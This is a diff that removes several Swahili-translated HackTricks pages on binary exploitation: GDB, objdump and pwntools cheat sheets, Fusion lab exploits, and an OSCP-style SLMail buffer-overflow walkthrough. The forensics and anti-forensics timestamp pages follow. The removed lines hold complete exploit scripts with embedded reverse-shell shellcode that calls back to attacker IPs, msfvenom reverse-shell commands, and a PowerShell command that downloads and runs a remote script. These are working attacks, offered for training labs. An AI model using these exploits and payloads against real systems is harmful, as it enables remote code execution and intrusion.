Kimsingi inajumuisha kuhifadhi kumbukumbu yote inayowezekana kwa heaps na kujaza hizi na mto wa nops unaomalizika na shellcode. Zaidi ya hayo, kama mto inatumika 0x0c. Kwa hivyo itajaribu kuruka kwenye anwani 0x0c0c0c0c, na hivyo ikiwa anwani yoyote itakayokuwa ikitumiwa inasababisha mto huu itaruka huko. Kimsingi mbinu ni kuhifadhi kadri iwezekanavyo ili kuona ikiwa kuna pointer yoyote inayosababisha na kuruka kwenye 0x0c0c0c0c tukitarajia kuwa huko kuna nops.
**Heap Feng Shui**
Inajumuisha kupitia uhifadhi na kuondoa kuunda kumbukumbu ili kuwe na vipande vilivyohifadhiwa katikati ya vipande vya bure. Buffer inayoweza kujaa itakuwa katika moja ya mayai.
**objdump -d ejecutable** —> Disas functions\
**objdump -d ./PROGRAMA | grep FUNCION** —> Get function address\
**objdump -d -Mintel ./shellcodeout** —> Ili kuona kwamba kwa kweli ni shellcode yetu na kutoa OpCodes\
**objdump -t ./exec | grep varBss** —> Jedwali la alama, ili kupata anwani za variables na functions\
**objdump -TR ./exec | grep exit(func lib)** —> Ili kupata anwani za kazi za maktaba (GOT)\
**objdump -d ./exec | grep funcCode**\
**objdump -s -j .dtors /exec**\
**objdump -s -j .got ./exec**\
**objdump -t --dynamic-relo ./exec | grep puts** —> Inatoa anwani ya puts ya kuandika katika GOT\
**objdump -D ./exec** —> Disas ALL hadi kwenye ingizo za plt\
**objdump -p -/exec**\
**Info functions strncmp —>** Info ya kazi katika gdb
## Interesting courses
- [https://guyinatuxedo.github.io/](https://guyinatuxedo.github.io)
- [https://github.com/RPISEC/MBE](https://github.com/RPISEC/MBE)
- [https://ir0nstone.gitbook.io/notes](https://ir0nstone.gitbook.io/notes)
## **References**
- [**https://guyinatuxedo.github.io/7.2-mitigation_relro/index.html**](https://guyinatuxedo.github.io/7.2-mitigation_relro/index.html)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,60 +0,0 @@
{{#include ../../banners/hacktricks-training.md}}
# Level00
[http://exploit-exercises.lains.space/fusion/level00/](http://exploit-exercises.lains.space/fusion/level00/)
1. Pata offset ili kubadilisha EIP
2. Weka anwani ya shellcode katika EIP
```python
from pwn import *
r = remote("192.168.85.181", 20000)
buf = "GET " # Needed
buf += "A"*139 # Offset 139
buf += p32(0xbffff440) # Stack address where the shellcode will be saved
buf += " HTTP/1.1" # Needed
buf += "\x90"*100 # NOPs
#msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.85.178 LPORT=4444 -a x86 --platform linux -b '\x00\x2f' -f python
buf += "\xdb\xda\xb8\x3b\x50\xff\x66\xd9\x74\x24\xf4\x5a\x2b"
buf += "\xc9\xb1\x12\x31\x42\x17\x83\xea\xfc\x03\x79\x43\x1d"
buf += "\x93\x4c\xb8\x16\xbf\xfd\x7d\x8a\x2a\x03\x0b\xcd\x1b"
buf += "\x65\xc6\x8e\xcf\x30\x68\xb1\x22\x42\xc1\xb7\x45\x2a"
buf += "\x12\xef\xe3\x18\xfa\xf2\x0b\x4d\xa7\x7b\xea\xdd\x31"
buf += "\x2c\xbc\x4e\x0d\xcf\xb7\x91\xbc\x50\x95\x39\x51\x7e"
buf += "\x69\xd1\xc5\xaf\xa2\x43\x7f\x39\x5f\xd1\x2c\xb0\x41"
buf += "\x65\xd9\x0f\x01"
r.recvline()
r.send(buf)
r.interactive()
```
# Level01
```python
from pwn import *
r = remote("192.168.85.181", 20001)
buf = "GET " # Needed
buf += "A"*139 # Offset 139
buf += p32(0x08049f4f) # Adress of: JMP esp
buf += p32(0x9090E6FF) # OPCODE: JMP esi (the esi register have the address of the shellcode)
buf += " HTTP/1.1" # Needed
buf += "\x90"*100 # NOPs
#msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.85.178 LPORT=4444 -a x86 --platform linux -b '\x00\x2f' -f python
buf += "\xdb\xda\xb8\x3b\x50\xff\x66\xd9\x74\x24\xf4\x5a\x2b"
buf += "\xc9\xb1\x12\x31\x42\x17\x83\xea\xfc\x03\x79\x43\x1d"
buf += "\x93\x4c\xb8\x16\xbf\xfd\x7d\x8a\x2a\x03\x0b\xcd\x1b"
buf += "\x65\xc6\x8e\xcf\x30\x68\xb1\x22\x42\xc1\xb7\x45\x2a"
buf += "\x12\xef\xe3\x18\xfa\xf2\x0b\x4d\xa7\x7b\xea\xdd\x31"
buf += "\x2c\xbc\x4e\x0d\xcf\xb7\x91\xbc\x50\x95\x39\x51\x7e"
buf += "\x69\xd1\xc5\xaf\xa2\x43\x7f\x39\x5f\xd1\x2c\xb0\x41"
buf += "\x65\xd9\x0f\x01"
r.send(buf)
r.interactive()
```
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,210 +0,0 @@
# Zana za Kutilia
{{#include ../../banners/hacktricks-training.md}}
## Metasploit
```
pattern_create.rb -l 3000 #Length
pattern_offset.rb -l 3000 -q 5f97d534 #Search offset
nasm_shell.rb
nasm> jmp esp #Get opcodes
msfelfscan -j esi /opt/fusion/bin/level01
```
### Shellcodes
```
msfvenom /p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c
```
## GDB
### Sakinisha
```
apt-get install gdb
```
### Parametri
```bash
-q # No show banner
-x <file> # Auto-execute GDB instructions from here
-p <pid> # Attach to process
```
### Maagizo
```bash
run # Execute
start # Start and break in main
n/next/ni # Execute next instruction (no inside)
s/step/si # Execute next instruction
c/continue # Continue until next breakpoint
p system # Find the address of the system function
set $eip = 0x12345678 # Change value of $eip
help # Get help
quit # exit
# Disassemble
disassemble main # Disassemble the function called main
disassemble 0x12345678 # Disassemble taht address
set disassembly-flavor intel # Use intel syntax
set follow-fork-mode child/parent # Follow child/parent process
# Breakpoints
br func # Add breakpoint to function
br *func+23
br *0x12345678
del <NUM> # Delete that number of breakpoint
watch EXPRESSION # Break if the value changes
# info
info functions --> Info abount functions
info functions func --> Info of the funtion
info registers --> Value of the registers
bt # Backtrace Stack
bt full # Detailed stack
print variable
print 0x87654321 - 0x12345678 # Caculate
# x/examine
examine/<num><o/x/d/u/t/i/s/c><b/h/w/g> dir_mem/reg/puntero # Shows content of <num> in <octal/hexa/decimal/unsigned/bin/instruction/ascii/char> where each entry is a <Byte/half word (2B)/Word (4B)/Giant word (8B)>
x/o 0xDir_hex
x/2x $eip # 2Words from EIP
x/2x $eip -4 # $eip - 4
x/8xb $eip # 8 bytes (b-> byte, h-> 2bytes, w-> 4bytes, g-> 8bytes)
i r eip # Value of $eip
x/w pointer # Value of the pointer
x/s pointer # String pointed by the pointer
x/xw &pointer # Address where the pointer is located
x/i $eip # Instructions of the EIP
```
### [GEF](https://github.com/hugsy/gef)
```bash
help memory # Get help on memory command
canary # Search for canary value in memory
checksec #Check protections
p system #Find system function address
search-pattern "/bin/sh" #Search in the process memory
vmmap #Get memory mappings
xinfo <addr> # Shows page, size, perms, memory area and offset of the addr in the page
memory watch 0x784000 0x1000 byte #Add a view always showinf this memory
got #Check got table
memory watch $_got()+0x18 5 #Watch a part of the got table
# Vulns detection
format-string-helper #Detect insecure format strings
heap-analysis-helper #Checks allocation and deallocations of memory chunks:NULL free, UAF,double free, heap overlap
#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp
#Shellcode
shellcode search x86 #Search shellcodes
shellcode get 61 #Download shellcode number 61
#Another way to get the offset of to the RIP
1- Put a bp after the function that overwrites the RIP and send a ppatern to ovwerwrite it
2- ef➤ i f
Stack level 0, frame at 0x7fffffffddd0:
rip = 0x400cd3; saved rip = 0x6261617762616176
called by frame at 0x7fffffffddd8
Arglist at 0x7fffffffdcf8, args:
Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0
Saved registers:
rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8
gef➤ pattern search 0x6261617762616176
[+] Searching for '0x6261617762616176'
[+] Found at offset 184 (little-endian search) likely
```
### Tricks
#### GDB anwani sawa
Wakati wa kujaribu GDB itakuwa na **anwani kidogo tofauti na zile zinazotumiwa na binary wakati inatekelezwa.** Unaweza kufanya GDB iwe na anwani sawa kwa kufanya:
- `unset env LINES`
- `unset env COLUMNS`
- `set env _=<path>` _Weka njia kamili ya binary_
- Fanya unyakuzi wa binary ukitumia njia hiyo hiyo kamili
- `PWD` na `OLDPWD` lazima ziwe sawa wakati wa kutumia GDB na wakati wa kufanya unyakuzi wa binary
#### Backtrace ili kupata kazi zilizoitwa
Wakati una **binary iliyounganishwa kwa statically** kazi zote zitakuwa za binary (na si za maktaba za nje). Katika kesi hii itakuwa vigumu **kutambua mtiririko ambao binary inafuata kwa mfano kuomba pembejeo ya mtumiaji.**\
Unaweza kwa urahisi kutambua mtiririko huu kwa **kuendesha** binary na **gdb** hadi uombwe pembejeo. Kisha, simamisha kwa **CTRL+C** na tumia amri ya **`bt`** (**backtrace**) kuona kazi zilizoitwa:
```
gef➤ bt
#0 0x00000000004498ae in ?? ()
#1 0x0000000000400b90 in ?? ()
#2 0x0000000000400c1d in ?? ()
#3 0x00000000004011a9 in ?? ()
#4 0x0000000000400a5a in ?? ()
```
### GDB server
`gdbserver --multi 0.0.0.0:23947` (katika IDA unahitaji kujaza njia kamili ya executable kwenye mashine ya Linux na kwenye mashine ya Windows)
## Ghidra
### Tafuta stack offset
**Ghidra** ni muhimu sana kutafuta **offset** kwa **buffer overflow kutokana na taarifa kuhusu nafasi ya mabadiliko ya ndani.**\
Kwa mfano, katika mfano hapa chini, mzunguko wa buffer katika `local_bc` inaonyesha kwamba unahitaji offset ya `0xbc`. Zaidi ya hayo, ikiwa `local_10` ni cookie ya canary inaonyesha kwamba ili kuandika tena kutoka `local_bc` kuna offset ya `0xac`.\
_Kumbuka kwamba 0x08 ya kwanza ambapo RIP imehifadhiwa inahusiana na RBP._
![](<../../images/image (616).png>)
## GCC
**gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Kusaidia bila ulinzi\
**-o** --> Matokeo\
**-g** --> Hifadhi msimbo (GDB itaweza kuiona)\
**echo 0 > /proc/sys/kernel/randomize_va_space** --> Kuondoa ASLR kwenye linux
**Ili kukusanya shellcode:**\
**nasm -f elf assembly.asm** --> inarudisha ".o"\
**ld assembly.o -o shellcodeout** --> Inayoendeshwa
## Objdump
**-d** --> **Disassemble executable** sehemu (ona opcodes za shellcode iliyokusanywa, pata ROP Gadgets, pata anwani ya kazi...)\
**-Mintel** --> **Intel** sintaksia\
**-t** --> **Symbols** jedwali\
**-D** --> **Disassemble all** (anwani ya mabadiliko ya static)\
**-s -j .dtors** --> sehemu ya dtors\
**-s -j .got** --> sehemu ya got\
\-D -s -j .plt --> **plt** sehemu **iliyotafsiriwa**\
**-TR** --> **Relocations**\
**ojdump -t --dynamic-relo ./exec | grep puts** --> Anwani ya "puts" kubadilisha katika GOT\
**objdump -D ./exec | grep "VAR_NAME"** --> Anwani au mabadiliko ya static (hizi zimehifadhiwa katika sehemu ya DATA).
## Core dumps
1. Kimbia `ulimit -c unlimited` kabla ya kuanzisha programu yangu
2. Kimbia `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t`
3. sudo gdb --core=\<path/core> --quiet
## Zaidi
**ldd executable | grep libc.so.6** --> Anwani (ikiwa ASLR, basi hii hubadilika kila wakati)\
**for i in \`seq 0 20\`; do ldd \<Ejecutable> | grep libc; done** --> Mzunguko wa kuona ikiwa anwani inabadilika sana\
**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> Offset ya "system"\
**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> Offset ya "/bin/sh"
**strace executable** --> Kazi zinazoitwa na executable\
**rabin2 -i ejecutable -->** Anwani ya kazi zote
## **Inmunity debugger**
```bash
!mona modules #Get protections, look for all false except last one (Dll of SO)
!mona find -s "\xff\xe4" -m name_unsecure.dll #Search for opcodes insie dll space (JMP ESP)
```
## IDA
### Debugging katika linux ya mbali
Ndani ya folda ya IDA unaweza kupata binaries ambazo zinaweza kutumika kubaini binary ndani ya linux. Ili kufanya hivyo, hamasisha binary _linux_server_ au _linux_server64_ ndani ya seva ya linux na uendeshe ndani ya folda inayoshikilia binary hiyo:
```
./linux_server64 -Ppass
```
Kisha, tengeneza debugger: Debugger (linux remote) --> Chaguzi za Proccess...:
![](<../../images/image (101).png>)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,146 +0,0 @@
{{#include ../../banners/hacktricks-training.md}}
```
pip3 install pwntools
```
# Pwn asm
Pata opcodes kutoka kwa mstari au faili.
```
pwn asm "jmp esp"
pwn asm -i <filepath>
```
**Inaweza kuchagua:**
- aina ya pato (raw, hex, string, elf)
- muktadha wa faili la pato (16, 32, 64, linux, windows...)
- epuka bytes (mistari mipya, null, orodha)
- chagua encoder debug shellcode ukitumia gdb endesha pato
# **Pwn checksec**
Script ya checksec
```
pwn checksec <executable>
```
# Pwn constgrep
# Pwn cyclic
Pata muundo
```
pwn cyclic 3000
pwn cyclic -l faad
```
**Inaweza kuchaguliwa:**
- Alphabet inayotumika (herufi ndogo kwa chaguo-msingi)
- Urefu wa muundo wa kipekee (chaguo-msingi 4)
- muktadha (16,32,64,linux,windows...)
- Chukua offset (-l)
# Pwn debug
Unganisha GDB na mchakato
```
pwn debug --exec /bin/bash
pwn debug --pid 1234
pwn debug --process bash
```
**Inaweza kuchaguliwa:**
- Kwa executable, kwa jina au kwa muktadha wa pid (16,32,64,linux,windows...)
- gdbscript ya kutekeleza
- sysrootpath
# Pwn disablenx
Zima nx ya binary
```
pwn disablenx <filepath>
```
# Pwn disasm
Disas hex opcodes
```
pwn disasm ffe4
```
**Inaweza kuchaguliwa:**
- muktadha (16,32,64,linux,windows...)
- anwani ya msingi
- rangi (default)/hakuna rangi
# Pwn elfdiff
Chapisha tofauti kati ya faili 2
```
pwn elfdiff <file1> <file2>
```
# Pwn hex
Pata uwakilishi wa hexadecimal
```bash
pwn hex hola #Get hex of "hola" ascii
```
# Pwn phd
Pata hexdump
```
pwn phd <file>
```
**Inaweza kuchaguliwa:**
- Idadi ya bytes za kuonyesha
- Idadi ya bytes kwa kila mstari wa kuangazia byte
- Kusaidia bytes mwanzoni
# Pwn pwnstrip
# Pwn scrable
# Pwn shellcraft
Pata shellcodes
```
pwn shellcraft -l #List shellcodes
pwn shellcraft -l amd #Shellcode with amd in the name
pwn shellcraft -f hex amd64.linux.sh #Create in C and run
pwn shellcraft -r amd64.linux.sh #Run to test. Get shell
pwn shellcraft .r amd64.linux.bindsh 9095 #Bind SH to port
```
**Inaweza kuchaguliwa:**
- shellcode na hoja za shellcode
- Faili ya nje
- muundo wa pato
- debug (unganishi dbg kwa shellcode)
- kabla (trap ya debug kabla ya msimbo)
- baada
- epuka kutumia opcodes (default: si null na mstari mpya)
- Endesha shellcode
- Rangi/hana rangi
- orodhesha syscalls
- orodhesha shellcodes zinazowezekana
- Unda ELF kama maktaba ya pamoja
# Pwn template
Pata kiolezo cha python
```
pwn template
```
**Inaweza kuchaguliwa:** mwenyeji, bandari, mtumiaji, pass, njia na kimya
# Pwn unhex
Kutoka hex hadi string
```
pwn unhex 686f6c61
```
# Pwn update
Ili kusasisha pwntools
```
pwn update
```
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,237 +0,0 @@
# Windows Exploiting (Basic Guide - OSCP lvl)
{{#include ../banners/hacktricks-training.md}}
## **Anza kufunga huduma ya SLMail**
## Anzisha upya huduma ya SLMail
Kila wakati unahitaji **kuanzisha upya huduma ya SLMail** unaweza kufanya hivyo kwa kutumia konso ya windows:
```
net start slmail
```
![](<../images/image (23) (1).png>)
## Kigezo cha msingi cha exploit ya python
```python
#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ip = '10.11.25.153'
port = 110
buffer = 'A' * 2700
try:
print "\nLaunching exploit..."
s.connect((ip, port))
data = s.recv(1024)
s.send('USER username' +'\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
print "\nFinished!."
except:
print "Could not connect to "+ip+":"+port
```
## **Badilisha Fonti ya Immunity Debugger**
Nenda kwa `Options >> Appearance >> Fonts >> Change(Consolas, Blod, 9) >> OK`
## **Unganisha mchakato na Immunity Debugger:**
**File --> Attach**
![](<../images/image (24) (1) (1).png>)
**Na bonyeza kitufe cha START**
## **Tuma exploit na angalia kama EIP imeathiriwa:**
![](<../images/image (25) (1) (1).png>)
Kila wakati unapoivunja huduma, unapaswa kuanzisha tena kama inavyoonyeshwa mwanzoni mwa ukurasa huu.
## Tengeneza muundo wa kubadilisha EIP
Muundo unapaswa kuwa mkubwa kama buffer uliyotumia kuvunja huduma hapo awali.
![](<../images/image (26) (1) (1).png>)
```
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000
```
Badilisha buffer ya exploit na uweke muundo na uzindue exploit.
Kivunjiko kipya kinapaswa kuonekana, lakini na anwani tofauti ya EIP:
![](<../images/image (27) (1) (1).png>)
Angalia kama anwani ilikuwa katika muundo wako:
![](<../images/image (28) (1) (1).png>)
```
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q 39694438
```
Inaonekana **tunaweza kubadilisha EIP katika offset 2606** ya buffer.
Angalia ikibadilisha buffer ya exploit:
```
buffer = 'A'*2606 + 'BBBB' + 'CCCC'
```
Na buffer hii EIP ilipasuka inapaswa kuelekeza kwa 42424242 ("BBBB")
![](<../images/image (30) (1) (1).png>)
![](<../images/image (29) (1) (1).png>)
Inaonekana inafanya kazi.
## Angalia nafasi ya Shellcode ndani ya stack
600B inapaswa kuwa ya kutosha kwa shellcode yoyote yenye nguvu.
Hebu tubadilishe bufer:
```
buffer = 'A'*2606 + 'BBBB' + 'C'*600
```
anzisha exploit mpya na kuangalia EBP na urefu wa shellcode inayofaa
![](<../images/image (31) (1).png>)
![](<../images/image (32) (1).png>)
Unaweza kuona kwamba wakati udhaifu unafikiwa, EBP inaelekeza kwenye shellcode na kwamba tuna nafasi nyingi za kuweka shellcode hapa.
Katika kesi hii tuna **kutoka 0x0209A128 hadi 0x0209A2D6 = 430B.** Inatosha.
## Angalia kwa wahusika wabaya
Badilisha tena buffer:
```
badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)
buffer = 'A'*2606 + 'BBBB' + badchars
```
Badchars huanza katika 0x01 kwa sababu 0x00 karibu kila wakati ni mbaya.
Tekeleza mara kwa mara exploit hii na buffer hii mpya ukiondoa wahusika ambao umeona kuwa hawana matumizi:
Kwa mfano:
Katika kesi hii unaweza kuona kwamba **hupaswi kutumia wahusika 0x0A** (hakuna kinachohifadhiwa katika kumbukumbu tangu wahusika 0x09).
![](<../images/image (33) (1).png>)
Katika kesi hii unaweza kuona kwamba **wahusika 0x0D wanakwepa**:
![](<../images/image (34) (1).png>)
## Tafuta JMP ESP kama anwani ya kurudi
Ukifanya:
```
!mona modules #Get protections, look for all false except last one (Dll of SO)
```
Utahitaji **orodhesha ramani za kumbukumbu**. Tafuta baadhi ya DLL ambazo zina:
- **Rebase: False**
- **SafeSEH: False**
- **ASLR: False**
- **NXCompat: False**
- **OS Dll: True**
![](<../images/image (35) (1).png>)
Sasa, ndani ya kumbukumbu hii unapaswa kupata baadhi ya bytes za JMP ESP, ili kufanya hivyo tekeleza:
```
!mona find -s "\xff\xe4" -m name_unsecure.dll # Search for opcodes insie dll space (JMP ESP)
!mona find -s "\xff\xe4" -m slmfc.dll # Example in this case
```
**Kisha, ikiwa anwani fulani imepatikana, chagua moja ambayo haina badchar yoyote:**
![](<../images/image (36) (1).png>)
**Katika kesi hii, kwa mfano: \_0x5f4a358f**\_
## Unda shellcode
```
msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.41 LPORT=443 -f c -b '\x00\x0a\x0d'
msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://10.11.0.41/nishang.ps1')\"" -f python -b '\x00\x0a\x0d'
```
Ikiwa exploit haifanyi kazi lakini inapaswa (unaweza kuona na ImDebg kwamba shellcode imefikiwa), jaribu kuunda shellcodes nyingine (msfvenom na kuunda shellcodes tofauti kwa vigezo sawa).
**Ongeza baadhi ya NOPS mwanzoni** mwa shellcode na uitumie pamoja na anwani ya kurudi ili JMP ESP, na kumaliza exploit:
```bash
#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ip = '10.11.25.153'
port = 110
shellcode = (
"\xb8\x30\x3f\x27\x0c\xdb\xda\xd9\x74\x24\xf4\x5d\x31\xc9\xb1"
"\x52\x31\x45\x12\x83\xed\xfc\x03\x75\x31\xc5\xf9\x89\xa5\x8b"
"\x02\x71\x36\xec\x8b\x94\x07\x2c\xef\xdd\x38\x9c\x7b\xb3\xb4"
"\x57\x29\x27\x4e\x15\xe6\x48\xe7\x90\xd0\x67\xf8\x89\x21\xe6"
"\x7a\xd0\x75\xc8\x43\x1b\x88\x09\x83\x46\x61\x5b\x5c\x0c\xd4"
"\x4b\xe9\x58\xe5\xe0\xa1\x4d\x6d\x15\x71\x6f\x5c\x88\x09\x36"
"\x7e\x2b\xdd\x42\x37\x33\x02\x6e\x81\xc8\xf0\x04\x10\x18\xc9"
"\xe5\xbf\x65\xe5\x17\xc1\xa2\xc2\xc7\xb4\xda\x30\x75\xcf\x19"
"\x4a\xa1\x5a\xb9\xec\x22\xfc\x65\x0c\xe6\x9b\xee\x02\x43\xef"
"\xa8\x06\x52\x3c\xc3\x33\xdf\xc3\x03\xb2\x9b\xe7\x87\x9e\x78"
"\x89\x9e\x7a\x2e\xb6\xc0\x24\x8f\x12\x8b\xc9\xc4\x2e\xd6\x85"
"\x29\x03\xe8\x55\x26\x14\x9b\x67\xe9\x8e\x33\xc4\x62\x09\xc4"
"\x2b\x59\xed\x5a\xd2\x62\x0e\x73\x11\x36\x5e\xeb\xb0\x37\x35"
"\xeb\x3d\xe2\x9a\xbb\x91\x5d\x5b\x6b\x52\x0e\x33\x61\x5d\x71"
"\x23\x8a\xb7\x1a\xce\x71\x50\x2f\x04\x79\x89\x47\x18\x79\xd8"
"\xcb\x95\x9f\xb0\xe3\xf3\x08\x2d\x9d\x59\xc2\xcc\x62\x74\xaf"
"\xcf\xe9\x7b\x50\x81\x19\xf1\x42\x76\xea\x4c\x38\xd1\xf5\x7a"
"\x54\xbd\x64\xe1\xa4\xc8\x94\xbe\xf3\x9d\x6b\xb7\x91\x33\xd5"
"\x61\x87\xc9\x83\x4a\x03\x16\x70\x54\x8a\xdb\xcc\x72\x9c\x25"
"\xcc\x3e\xc8\xf9\x9b\xe8\xa6\xbf\x75\x5b\x10\x16\x29\x35\xf4"
"\xef\x01\x86\x82\xef\x4f\x70\x6a\x41\x26\xc5\x95\x6e\xae\xc1"
"\xee\x92\x4e\x2d\x25\x17\x7e\x64\x67\x3e\x17\x21\xf2\x02\x7a"
"\xd2\x29\x40\x83\x51\xdb\x39\x70\x49\xae\x3c\x3c\xcd\x43\x4d"
"\x2d\xb8\x63\xe2\x4e\xe9"
)
buffer = 'A' * 2606 + '\x8f\x35\x4a\x5f' + "\x90" * 8 + shellcode
try:
print "\nLaunching exploit..."
s.connect((ip, port))
data = s.recv(1024)
s.send('USER username' +'\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
print "\nFinished!."
except:
print "Could not connect to "+ip+":"+port
```
> [!WARNING]
> Kuna shellcodes ambazo zitajifuta **zenyewe**, kwa hivyo ni muhimu kila wakati kuongeza NOPs kabla ya shellcode
## Kuboresha shellcode
Ongeza hizi parameters:
```
EXITFUNC=thread -e x86/shikata_ga_nai
```
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,82 +0,0 @@
# Msingi wa Mbinu za Uchunguzi
{{#include ../../banners/hacktricks-training.md}}
## Kuunda na Kuweka Picha
{{#ref}}
../../generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md
{{#endref}}
## Uchambuzi wa Malware
Hii **siyo hatua ya kwanza kufanya mara tu unapo kuwa na picha**. Lakini unaweza kutumia mbinu hizi za uchambuzi wa malware kwa uhuru ikiwa una faili, picha ya mfumo wa faili, picha ya kumbukumbu, pcap... hivyo ni vizuri **kumbuka vitendo hivi**:
{{#ref}}
malware-analysis.md
{{#endref}}
## Kukagua Picha
ikiwa umepatiwa **picha ya uchunguzi** ya kifaa unaweza kuanza **kuchambua sehemu, mfumo wa faili** ulio tumika na **kuokoa** faili ambazo zinaweza kuwa **za kuvutia** (hata zile zilizofutwa). Jifunze jinsi ya kufanya hivyo katika:
{{#ref}}
partitions-file-systems-carving/
{{#endref}}
Kulingana na OSs zilizotumika na hata jukwaa, vitu tofauti vya kuvutia vinapaswa kutafutwa:
{{#ref}}
windows-forensics/
{{#endref}}
{{#ref}}
linux-forensics.md
{{#endref}}
{{#ref}}
docker-forensics.md
{{#endref}}
## Ukaguzi wa kina wa aina maalum za faili na Programu
Ikiwa una **faili** ambayo ni **ya kushangaza sana**, basi **kulingana na aina ya faili na programu** iliyoiunda, mbinu kadhaa **zinaweza kuwa na manufaa**.\
Soma ukurasa ufuatao kujifunza mbinu za kuvutia:
{{#ref}}
specific-software-file-type-tricks/
{{#endref}}
Nataka kutoa kumbukumbu maalum kwa ukurasa:
{{#ref}}
specific-software-file-type-tricks/browser-artifacts.md
{{#endref}}
## Ukaguzi wa Dump ya Kumbukumbu
{{#ref}}
memory-dump-analysis/
{{#endref}}
## Ukaguzi wa Pcap
{{#ref}}
pcap-inspection/
{{#endref}}
## **Mbinu za Anti-Uchunguzi**
Kumbuka matumizi yanayoweza kuwa ya mbinu za anti-uchunguzi:
{{#ref}}
anti-forensic-techniques.md
{{#endref}}
## Uwindaji wa Vitisho
{{#ref}}
file-integrity-monitoring.md
{{#endref}}
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,151 +0,0 @@
{{#include ../../banners/hacktricks-training.md}}
# Timestamps
Mshambuliaji anaweza kuwa na hamu ya **kubadilisha timestamps za faili** ili kuepuka kugunduliwa.\
Inawezekana kupata timestamps ndani ya MFT katika sifa `$STANDARD_INFORMATION`**na**`$FILE_NAME`.
Sifa zote zina timestamps 4: **Modification**, **access**, **creation**, na **MFT registry modification** (MACE au MACB).
**Windows explorer** na zana nyingine zinaonyesha taarifa kutoka **`$STANDARD_INFORMATION`**.
## TimeStomp - Anti-forensic Tool
Zana hii **inabadilisha** taarifa za timestamp ndani ya **`$STANDARD_INFORMATION`** **lakini** **sio** taarifa ndani ya **`$FILE_NAME`**. Hivyo, inawezekana **kutambua** **shughuli** **za kutatanisha**.
## Usnjrnl
**USN Journal** (Update Sequence Number Journal) ni kipengele cha NTFS (Windows NT file system) kinachofuatilia mabadiliko ya kiasi. Zana ya [**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv) inaruhusu uchambuzi wa mabadiliko haya.
![](<../../images/image (449).png>)
Picha ya awali ni **matokeo** yanayoonyeshwa na **zana** ambapo inaonekana kuwa baadhi ya **mabadiliko yalifanywa** kwa faili.
## $LogFile
**Mabadiliko yote ya metadata kwa mfumo wa faili yanarekodiwa** katika mchakato unaojulikana kama [write-ahead logging](https://en.wikipedia.org/wiki/Write-ahead_logging). Metadata iliyorekodiwa inahifadhiwa katika faili inayoitwa `**$LogFile**`, iliyoko katika saraka ya mzizi ya mfumo wa faili wa NTFS. Zana kama [LogFileParser](https://github.com/jschicht/LogFileParser) zinaweza kutumika kuchambua faili hii na kutambua mabadiliko.
![](<../../images/image (450).png>)
Tena, katika matokeo ya zana inawezekana kuona kuwa **baadhi ya mabadiliko yalifanywa**.
Kwa kutumia zana hiyo hiyo inawezekana kutambua **wakati timestamps zilipobadilishwa**:
![](<../../images/image (451).png>)
